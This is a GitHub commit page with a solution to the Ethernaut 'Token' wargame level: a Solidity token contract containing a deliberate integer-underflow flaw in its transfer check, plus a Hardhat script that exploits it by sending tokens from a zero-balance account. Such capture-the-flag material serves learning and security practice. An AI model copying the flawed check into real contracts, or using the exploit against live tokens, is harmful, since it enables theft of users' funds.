-
Notifications
You must be signed in to change notification settings - Fork 10
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
79 additions
and
24 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,3 @@ | ||
ALCHEMY_API_KEY= | ||
ROPSTEN_PRIVATE_KEY= | ||
PRIVATE_KEY_1= | ||
PRIVATE_KEY_2= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.0; | ||
|
||
contract Token { | ||
mapping(address => uint256) balances; | ||
uint256 public totalSupply; | ||
|
||
constructor(uint256 _initialSupply) public { | ||
balances[msg.sender] = totalSupply = _initialSupply; | ||
} | ||
|
||
function transfer(address _to, uint256 _value) public returns (bool) { | ||
require(balances[msg.sender] - _value >= 0); | ||
balances[msg.sender] -= _value; | ||
balances[_to] += _value; | ||
return true; | ||
} | ||
|
||
function balanceOf(address _owner) public view returns (uint256 balance) { | ||
return balances[_owner]; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
import { Signer } from 'ethers' | ||
import { ethers } from 'hardhat' | ||
import { createLevelInstance, submitLevelInstance } from './ethernaut' | ||
|
||
const levelAddress = '0x63bE8347A617476CA461649897238A31835a32CE' | ||
|
||
const main = async () => { | ||
const signer = (await ethers.getSigners())[0] as Signer | ||
const otherSigner = (await ethers.getSigners())[1] as Signer | ||
|
||
const targetContract = await createLevelInstance('Token', levelAddress, signer) | ||
|
||
const printBalances = async () => { | ||
console.log('Total supply: ', (await targetContract.totalSupply()).toString()) | ||
console.log('Signer balance: ', (await targetContract.balanceOf(await signer.getAddress())).toString()) | ||
console.log('otherSigner balance: ', (await targetContract.balanceOf(await otherSigner.getAddress())).toString()) | ||
} | ||
|
||
await printBalances() | ||
|
||
const transferTx = await targetContract.connect(otherSigner as any).transfer(await signer.getAddress(), 21) | ||
await transferTx.wait() | ||
|
||
await printBalances() | ||
|
||
await submitLevelInstance(targetContract.address, signer) | ||
} | ||
|
||
main() | ||
.then(() => process.exit()) | ||
.catch(e => { | ||
console.error(e) | ||
process.exit(1) | ||
}) |